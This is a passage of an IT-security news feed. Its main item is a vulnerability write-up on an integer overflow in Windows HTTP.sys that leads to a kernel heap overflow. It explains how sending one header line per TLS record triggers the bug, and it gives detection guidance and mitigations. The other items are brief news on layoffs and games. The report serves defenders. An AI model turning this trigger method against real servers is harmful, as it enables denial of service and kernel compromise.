</item>
<item>
<title><![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service co...]]></description>
<link>https://tsecurity.de/de/3659964/it-security-nachrichten/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659964/it-security-nachrichten/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</guid>
<pubDate>Fri, 10 Jul 2026 16:08:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.</em></p>





















  
  



<hr>



  <p class="">A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests. </p><p class="">A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.</p><p class=""><strong>The Vulnerability</strong></p><p class=""><em>HTTP.sys</em> is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.</p><p class="">When operating over HTTPS, <em>HTTP.sys</em> delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a <a href="https://www.rfc-editor.org/info/rfc8446/">per-record basis</a>: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to <em>HTTP.sys</em> as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  






  <p class="">The decrypted payload of each TLS record is delivered independently to the HTTP parser via</p><p class=""><em>UlHttpBufferReceiveEvent()</em>, regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches <em>HTTP.sys</em>.</p><p class="">The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The <em>capacity</em> field stores the current number of allocated slots in the buffer reference array. The <em>count</em> field stores the number of slots currently in use. The <em>ref_array_ptr</em> field points to the dynamically allocated array of 8-byte buffer reference entries.</p><p class="">An integer overflow vulnerability exists in <em>HTTP.sys</em>. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When <em>HTTP.sys</em> receives data for an HTTP/1.x request, it allocates a <em>UL_REQUEST_BUFFER</em> structure for each receive indication and tracks these buffers in the per-request reference array described above. The <em>count</em> field records the number of active buffer references, and the <em>capacity</em> field records the total number of allocated slots. </p><p class="">As the HTTP parser (<em>UlpParseNextRequest()</em>) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When <em>count</em> reaches <em>capacity</em>, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + <em>capacity</em> * 8, the contents of the existing array are copied via <em>memmove</em> using <em>count</em> * 8 as the copy length, and <em>capacity</em> is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.</p><p class="">After 13,107 growth events, <em>capacity</em> reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, <em>count</em> (which is now 65,536 or greater) exceeds the zero <em>capacity</em>, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the <em>memmove</em> copies <em>count</em> * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.</p><p class="">Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and <em>UlpMergeBuffers() </em>further combines buffers within <em>HTTP.sys</em>. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through <em>UlHttpBufferReceiveEvent()</em> into <em>UlpCopyIndicatedData()</em>. If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing <em>UlpAdjustBuffers()</em> to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.</p><p class="">To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The <em>MaxRequestBytes </em>registry value (at <em>HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters</em>) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping <em>MaxRequestBytes</em> at or below 65,535 bytes represents the most conservative configuration to prevent this attack.</p><p class="">A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.</p><p class=""><strong>Notes:</strong></p><p class="">• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.</p><p class="">• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.</p><p class="">• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.</p><p class=""><strong>Source Code Walkthrough</strong></p><p class="">The following code snippet was taken from <em>HTTP.sys</em> version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.</p><p class="">In <em>UlpParseNextRequest()</em>:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  






  <p class=""><strong>Detection Guidance</strong></p><p class="">To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.</p><p class="">The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.</p><p class="">An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  






  <p class=""><em>Decrypted traffic inspection:</em></p><p class="">After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Encrypted traffic heuristics:</em></p><p class="">Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Notes:</em></p><p class="">• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.</p><p class="">• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.</p><p class="">• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291">patched</a> by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.</p><p class="">Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Transport Fever 3 devs showcase new Features and Vehicles]]></title>
<description><![CDATA[Transport Fever 3 developers Urban Games along with their new publisher Paradox Interactive released a new First Look showcase of new Features and Vehicles.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3659446/linux-tipps/transport-fever-3-devs-showcase-new-features-and-vehicles/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659446/linux-tipps/transport-fever-3-devs-showcase-new-features-and-vehicles/</guid>
<pubDate>Fri, 10 Jul 2026 12:55:04 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Transport Fever 3 developers Urban Games along with their new publisher Paradox Interactive released a new First Look showcase of new Features and Vehicles.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1793241342id29364gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/transport-fever-3-devs-showcase-new-features-and-vehicles/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘The challenge now is making sure the next generation develops those same foundations before relying too heavily on AI’: Devs are swerving fundamental skills like Git and Agile because of AI – but there’s a good reason]]></title>
<description><![CDATA[O'Reilly has recorded a massive fall in programming fundamentals courses, but that’s not to suggest devs aren’t learning key skills]]></description>
<link>https://tsecurity.de/de/3659282/it-security-nachrichten/the-challenge-now-is-making-sure-the-next-generation-develops-those-same-foundations-before-relying-too-heavily-on-ai-devs-are-swerving-fundamental-skills-like-git-and-agile-because-of-ai-but-theres-a-good-reason/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659282/it-security-nachrichten/the-challenge-now-is-making-sure-the-next-generation-develops-those-same-foundations-before-relying-too-heavily-on-ai-devs-are-swerving-fundamental-skills-like-git-and-agile-because-of-ai-but-theres-a-good-reason/</guid>
<pubDate>Fri, 10 Jul 2026 11:37:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[O'Reilly has recorded a massive fall in programming fundamentals courses, but that’s not to suggest devs aren’t learning key skills]]></content:encoded>
</item>
<item>
<title><![CDATA["This has had a crushing effect on morale": The Elder Scrolls 6 devs fear Microsoft's Xbox layoffs at Bethesda will cause delays and crunch for the RPG]]></title>
<description><![CDATA[Bethesda devs on The Elder Scrolls 6 say that Microsoft's Xbox layoffs will have a "substantial and cascading effect" on the studio and the upcoming RPG.]]></description>
<link>https://tsecurity.de/de/3657861/windows-tipps/this-has-had-a-crushing-effect-on-morale-the-elder-scrolls-6-devs-fear-microsofts-xbox-layoffs-at-bethesda-will-cause-delays-and-crunch-for-the-rpg/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657861/windows-tipps/this-has-had-a-crushing-effect-on-morale-the-elder-scrolls-6-devs-fear-microsofts-xbox-layoffs-at-bethesda-will-cause-delays-and-crunch-for-the-rpg/</guid>
<pubDate>Thu, 09 Jul 2026 19:26:28 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bethesda devs on The Elder Scrolls 6 say that Microsoft's Xbox layoffs will have a "substantial and cascading effect" on the studio and the upcoming RPG.]]></content:encoded>
</item>
<item>
<title><![CDATA[Report: The layoffs at Xbox's DOOM studio id Software are even worse than we thought — devs at Bethesda's Austin office have been hit, too]]></title>
<description><![CDATA[A new report reveals that Microsoft's Xbox layoffs have hit DOOM dev id Software even harder than we first thought, with 136 workers cut from the studio.]]></description>
<link>https://tsecurity.de/de/3655434/windows-tipps/report-the-layoffs-at-xboxs-doom-studio-id-software-are-even-worse-than-we-thought-devs-at-bethesdas-austin-office-have-been-hit-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655434/windows-tipps/report-the-layoffs-at-xboxs-doom-studio-id-software-are-even-worse-than-we-thought-devs-at-bethesdas-austin-office-have-been-hit-too/</guid>
<pubDate>Wed, 08 Jul 2026 22:56:43 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new report reveals that Microsoft's Xbox layoffs have hit DOOM dev id Software even harder than we first thought, with 136 workers cut from the studio.]]></content:encoded>
</item>
<item>
<title><![CDATA[Xbox's Obsidian has reportedly lost a quarter of its workers to Microsoft's layoffs — the Fallout: New Vegas dev has a "huge list of projects" it's not sure how to continue]]></title>
<description><![CDATA[Microsoft's Xbox layoffs have reportedly seen 25% of devs at the RPG studio Obsidian Entertainment cut in the midst of plans for a "huge list of projects."]]></description>
<link>https://tsecurity.de/de/3655071/windows-tipps/xboxs-obsidian-has-reportedly-lost-a-quarter-of-its-workers-to-microsofts-layoffs-the-fallout-new-vegas-dev-has-a-huge-list-of-projects-its-not-sure-how-to-continue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655071/windows-tipps/xboxs-obsidian-has-reportedly-lost-a-quarter-of-its-workers-to-microsofts-layoffs-the-fallout-new-vegas-dev-has-a-huge-list-of-projects-its-not-sure-how-to-continue/</guid>
<pubDate>Wed, 08 Jul 2026 19:40:39 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft's Xbox layoffs have reportedly seen 25% of devs at the RPG studio Obsidian Entertainment cut in the midst of plans for a "huge list of projects."]]></content:encoded>
</item>
<item>
<title><![CDATA[China tells devs to ditch Claude Code over 'backdoor code' fears]]></title>
<description><![CDATA[National vulnerability database claims monitoring mechanism can forward Chinese users' data to remote servers]]></description>
<link>https://tsecurity.de/de/3654528/it-nachrichten/china-tells-devs-to-ditch-claude-code-over-backdoor-code-fears/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654528/it-nachrichten/china-tells-devs-to-ditch-claude-code-over-backdoor-code-fears/</guid>
<pubDate>Wed, 08 Jul 2026 16:02:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[National vulnerability database claims monitoring mechanism can forward Chinese users' data to remote servers]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft bets that enterprise AI needs engineers, not bigger sales teams]]></title>
<description><![CDATA[The number of tech layoffs continues to tick upwards as AI investments increase, with Microsoft alone cutting around 4,800 employees, or roughly 2.1% of its workforce, this week.



The latest cutbacks are mostly in the company’s commercial sales and Xbox divisions. They follow two others in 2025...]]></description>
<link>https://tsecurity.de/de/3653518/it-nachrichten/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653518/it-nachrichten/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams/</guid>
<pubDate>Wed, 08 Jul 2026 09:18:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The number of tech layoffs continues to tick upwards as AI investments increase, with Microsoft alone cutting around 4,800 employees, or roughly 2.1% of its workforce, this week.</p>



<p>The latest cutbacks are mostly in the company’s commercial sales and Xbox divisions. They follow two others in 2025 that impacted around 15,000 workers, or roughly 4% of the company’s workforce. Prior to the latest cuts, Microsoft had 220,000-plus employees.</p>



<p>The headcount reduction also comes just days after the announcement of <a href="https://www.cio.com/article/4192504/microsoft-and-amazon-devote-billions-of-dollars-to-thousands-of-fdes.html" target="_blank">Microsoft Frontier Company</a>, an initiative that will provide embedded support for customers deploying AI projects, similar to traditional offerings from systems integrators (SIs).</p>



<p>Taken together, these moves seem to indicate that Microsoft is betting on its engineering expertise, rather than traditional account management, as the path to <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI success</a>.</p>



<p>“Microsoft had already reorganized its commercial business around AI,” said <a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="noreferrer noopener">Thomas Randall</a>, a research director at Info-Tech Research Group. “Recent layoffs are part of that ongoing context.”</p>



<h2 class="wp-block-heading">Microsoft’s memo to employees</h2>



<p>In a <a href="https://www.businessinsider.com/microsoft-jobs-cuts-across-sales-and-xbox-read-the-memo-2026-7" target="_blank" rel="noreferrer noopener">memo obtained by Business Insider</a>, Microsoft EVP and chief people officer Amy Coleman said the cuts effectively reflect the tectonic shift being brought about by AI.</p>



<p>“The ‘why’ is this: Our business is changing because the world around it is changing,” she said. “Companies don’t get to choose whether their industry changes; they only get to choose whether they change with it.”</p>



<p>Customer needs, and the business models that serve them, are shifting, meaning vendors must “adjust resources and roles” so they can operate in a way that best serves their customers. However, Coleman emphasized: “Whenever possible, our priority is to place people into new roles aligned to the company’s highest priorities and greatest areas of opportunity.”</p>



<p>Which, today, is AI.</p>



<p>Seemingly contradictorily, Coleman said the cuts “build on” the Frontier Company announcement, which is “reshaping how we work and embedding our engineering experts alongside customers so we can help them accelerate their technology deployments.”</p>



<p>While she emphasized that the roles eliminated this week are <a href="https://www.infoworld.com/article/4113574/forecast-ai-wont-replace-human-devs-for-at-least-5-years.html" target="_blank">not being replaced by AI</a>, the technology is fundamentally changing work. Many everyday tasks are being automated, meaning “we all need to keep learning, keep building new skills, and keep adapting as the work evolves.” </p>



<p>Customers are undergoing the same shift and are looking to Microsoft for guidance, she noted. “We can’t do that well unless we’re doing it ourselves.”</p>



<p>Finally, she said the tech giant will evolve structure and priorities across the company “thoughtfully.”</p>



<p>“We are working on alternative solutions to job eliminations and … we will continue to invest in equipping employees with new skills, including in AI.”</p>



<h2 class="wp-block-heading">What customers might expect</h2>



<p>Redmond isn’t the only big tech company taking scalpels to staff as the industry adjusts to, and seeks to capitalize on, AI. Companies are spending billions and inking strategic partnerships with top AI labs, and these investments in some cases need to be offset with cuts because some have yet to provide tangible ROI.</p>



<p>For instance, Amazon has laid off <a href="https://finance.yahoo.com/markets/stocks/articles/amazon-cutting-even-more-jobs-215000751.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&amp;guce_referrer_sig=AQAAABApQepSEbQ_dc1TGRGI6UlyX5mFPpTY5zoGKqYKNDv3jt19X8whfI9ZKnzpE0RdmD4BMAlgVjxfGRT0IfHy34G8e78MqJIbW1QWvQb00AC9dor6nzVfTgWuv7bxYVZ3fEBKKwXi-cfiKOObM-csOMADd4byfnnAiiFfzJ8pa48f" target="_blank" rel="noreferrer noopener">30,000 workers</a> since last fall, while Google is rumored to be <a href="https://www.businessinsider.com/google-clouds-quiet-layoffs-hit-cybersecurity-teams-2026-6" target="_blank" rel="noreferrer noopener">cutting employees</a> in its cloud division. Meta, for its part, eliminated 8,000 employees, or about 10% of its total headcount, in May alone, while Oracle <a href="https://www.bbc.com/news/articles/c4gy0x0j5deo" target="_blank" rel="noreferrer noopener">recently slashed 21,000</a>.</p>



<p>For customers, there is a price to pay, however. In the case of Microsoft, Info-Tech’s Randall said that, with the cuts, some customers can now expect slower response times on “non-strategic asks,” particularly as accounts are consolidated under fewer reps.</p>



<p>That said, given its Frontier Company investments, top accounts with large AI, data, security, and cloud commitments may get “deeper technical engagement,” while ordinary licensing/support workflows may become leaner.</p>



<p>Further, customers can expect more hand-offs to partner-led engagements, given that Microsoft is already pushing customers toward its partners for FY27 (which began July 1, 2026) when it comes to AI, security, cloud modernization, Copilot, agents, and managed services, Randall said. The company is also offering partners higher margins for growth in certain AI workloads.</p>



<p>“To prepare for these shifts, customers should reflect and document their Microsoft account and support teams,” Randall advised.</p>



<p>By that he meant enumerating things like the support contacts, the partner contacts, and the escalation paths for issues. This information should be well-documented and shared internally, he said. The same goes for Microsoft-involved conversations having to do with any kind of commitment, such as those involve pricing assumptions, roadmap dependencies, or deployment milestones.</p>



<p>“This can ensure a smoother transition with a new account rep on what has already been set out for the organization,” Randall said.</p>



<h2 class="wp-block-heading">Closing the gap between AI investment and ROI</h2>



<p>Last week, Microsoft launched the $2.5 billion Frontier Company, which it said “goes beyond” SIs and Forward Deployed Engineers (FDE). The initiative will integrate thousands of the company’s own engineers directly into customer environments to help them build AI tools, and to also help customers learn essential skills so they can eventually handle projects on their own.</p>



<p>But customers shouldn’t think of this as what he described as “consulting-heavy, McKinsey-style engagements,” noted Info-Tech’s Randall. Pre-sales will likely become more focused on qualifying an organization’s specific processes for ongoing AI implementations, rather than on system-wide change management. As with other hyperscalers such as AWS, Microsoft is leaning into this more white-glove model to help “prevent the gap between AI investments and AI ROI from widening.”</p>



<p>“As such, Microsoft will likely reserve its best technical talent for accounts with strong production intent, credible budget, usable data, and clear executive sponsorship,” Randall predicted.</p>



<p><em>This article originally appeared on <a href="https://www.cio.com/article/4193510/microsoft-betting-that-enterprise-ai-needs-engineers-not-bigger-sales-teams.html" target="_blank">CIO.com</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft betting that enterprise AI needs engineers, not bigger sales teams]]></title>
<description><![CDATA[The number of tech layoffs continues to tick upwards as AI investments increase, with Microsoft alone cutting around 4,800 employees, or roughly 2.1% of its workforce, this week.



The latest cutbacks are mostly in the company’s commercial sales and Xbox divisions. They follow two others in 2025...]]></description>
<link>https://tsecurity.de/de/3650292/it-nachrichten/microsoft-betting-that-enterprise-ai-needs-engineers-not-bigger-sales-teams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650292/it-nachrichten/microsoft-betting-that-enterprise-ai-needs-engineers-not-bigger-sales-teams/</guid>
<pubDate>Tue, 07 Jul 2026 04:18:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The number of tech layoffs continues to tick upwards as AI investments increase, with Microsoft alone cutting around 4,800 employees, or roughly 2.1% of its workforce, this week.</p>



<p>The latest cutbacks are mostly in the company’s commercial sales and Xbox divisions. They follow two others in 2025 that impacted around 15,000 workers, or roughly 4% of the company’s workforce. Prior to the latest cuts, Microsoft had 220,000-plus employees.</p>



<p>The headcount reduction also comes just days after the announcement of <a href="https://www.cio.com/article/4192504/microsoft-and-amazon-devote-billions-of-dollars-to-thousands-of-fdes.html" target="_blank">Microsoft Frontier Company</a>, an initiative that will provide embedded support for customers deploying AI projects, similar to traditional offerings from systems integrators (SIs).</p>



<p>Taken together, these moves seem to indicate that Microsoft is betting on its engineering expertise, rather than traditional account management, as the path to <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI success</a>.</p>



<p>“Microsoft had already reorganized its commercial business around AI,” said <a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="nofollow">Thomas Randall</a>, a research director at Info-Tech Research Group. “Recent layoffs are part of that ongoing context.”</p>



<h2 class="wp-block-heading">Microsoft’s memo to employees</h2>



<p>In a <a href="https://www.businessinsider.com/microsoft-jobs-cuts-across-sales-and-xbox-read-the-memo-2026-7" target="_blank" rel="nofollow">memo obtained by Business Insider</a>, Microsoft EVP and chief people officer Amy Coleman said the cuts effectively reflect the tectonic shift being brought about by AI.</p>



<p>“The ‘why’ is this: Our business is changing because the world around it is changing,” she said. “Companies don’t get to choose whether their industry changes; they only get to choose whether they change with it.”</p>



<p>Customer needs, and the business models that serve them, are shifting, meaning vendors must “adjust resources and roles” so they can operate in a way that best serves their customers. However, Coleman emphasized: “Whenever possible, our priority is to place people into new roles aligned to the company’s highest priorities and greatest areas of opportunity.”</p>



<p>Which, today, is AI.</p>



<p>Seemingly contradictorily, Coleman said the cuts “build on” the Frontier Company announcement, which is “reshaping how we work and embedding our engineering experts alongside customers so we can help them accelerate their technology deployments.”</p>



<p>While she emphasized that the roles eliminated this week are <a href="https://www.infoworld.com/article/4113574/forecast-ai-wont-replace-human-devs-for-at-least-5-years.html" target="_blank">not being replaced by AI</a>, the technology is fundamentally changing work. Many everyday tasks are being automated, meaning “we all need to keep learning, keep building new skills, and keep adapting as the work evolves.” </p>



<p>Customers are undergoing the same shift and are looking to Microsoft for guidance, she noted. “We can’t do that well unless we’re doing it ourselves.”</p>



<p>Finally, she said the tech giant will evolve structure and priorities across the company “thoughtfully.”</p>



<p>“We are working on alternative solutions to job eliminations and … we will continue to invest in equipping employees with new skills, including in AI.”</p>



<h2 class="wp-block-heading">What customers might expect</h2>



<p>Redmond isn’t the only big tech company taking scalpels to staff as the industry adjusts to, and seeks to capitalize on, AI. Companies are spending billions and inking strategic partnerships with top AI labs, and these investments in some cases need to be offset with cuts because some have yet to provide tangible ROI.</p>



<p>For instance, Amazon has laid off <a href="https://finance.yahoo.com/markets/stocks/articles/amazon-cutting-even-more-jobs-215000751.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&amp;guce_referrer_sig=AQAAABApQepSEbQ_dc1TGRGI6UlyX5mFPpTY5zoGKqYKNDv3jt19X8whfI9ZKnzpE0RdmD4BMAlgVjxfGRT0IfHy34G8e78MqJIbW1QWvQb00AC9dor6nzVfTgWuv7bxYVZ3fEBKKwXi-cfiKOObM-csOMADd4byfnnAiiFfzJ8pa48f" target="_blank" rel="nofollow">30,000 workers</a> since last fall, while Google is rumored to be <a href="https://www.businessinsider.com/google-clouds-quiet-layoffs-hit-cybersecurity-teams-2026-6" target="_blank" rel="nofollow">cutting employees</a> in its cloud division. Meta, for its part, eliminated 8,000 employees, or about 10% of its total headcount, in May alone, while Oracle <a href="https://www.bbc.com/news/articles/c4gy0x0j5deo" target="_blank" rel="nofollow">recently slashed 21,000</a>.</p>



<p>For customers, there is a price to pay, however. In the case of Microsoft, Info-Tech’s Randall said that, with the cuts, some customers can now expect slower response times on “non-strategic asks,” particularly as accounts are consolidated under fewer reps.</p>



<p>That said, given its Frontier Company investments, top accounts with large AI, data, security, and cloud commitments may get “deeper technical engagement,” while ordinary licensing/support workflows may become leaner.</p>



<p>Further, customers can expect more hand-offs to partner-led engagements, given that Microsoft is already pushing customers toward its partners for FY27 (which began July 1, 2026) when it comes to AI, security, cloud modernization, Copilot, agents, and managed services, Randall said. The company is also offering partners higher margins for growth in certain AI workloads.</p>



<p>“To prepare for these shifts, customers should reflect and document their Microsoft account and support teams,” Randall advised.</p>



<p>By that he meant enumerating things like the support contacts, the partner contacts, and the escalation paths for issues. This information should be well-documented and shared internally, he said. The same goes for Microsoft-involved conversations having to do with any kind of commitment, such as those involve pricing assumptions, roadmap dependencies, or deployment milestones.</p>



<p>“This can ensure a smoother transition with a new account rep on what has already been set out for the organization,” Randall said.</p>



<h2 class="wp-block-heading">Closing the gap between AI investment and ROI</h2>



<p>Last week, Microsoft launched the $2.5 billion Frontier Company, which it said “goes beyond” SIs and Forward Deployed Engineers (FDE). The initiative will integrate thousands of the company’s own engineers directly into customer environments to help them build AI tools, and to also help customers learn essential skills so they can eventually handle projects on their own.</p>



<p>But customers shouldn’t think of this as what he described as “consulting-heavy, McKinsey-style engagements,” noted Info-Tech’s Randall. Pre-sales will likely become more focused on qualifying an organization’s specific processes for ongoing AI implementations, rather than on system-wide change management. As with other hyperscalers such as AWS, Microsoft is leaning into this more white-glove model to help “prevent the gap between AI investments and AI ROI from widening.”</p>



<p>“As such, Microsoft will likely reserve its best technical talent for accounts with strong production intent, credible budget, usable data, and clear executive sponsorship,” Randall predicted.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft betting that enterprise AI needs engineers, not bigger sales teams]]></title>
<description><![CDATA[The number of tech layoffs continues to tick upwards as AI investments increase, with Microsoft alone cutting around 4,800 employees, or roughly 2.1% of its workforce, this week.



The latest cutbacks are mostly in the company’s commercial sales and Xbox divisions. They follow two others in 2025...]]></description>
<link>https://tsecurity.de/de/3650291/it-nachrichten/microsoft-betting-that-enterprise-ai-needs-engineers-not-bigger-sales-teams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650291/it-nachrichten/microsoft-betting-that-enterprise-ai-needs-engineers-not-bigger-sales-teams/</guid>
<pubDate>Tue, 07 Jul 2026 04:18:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
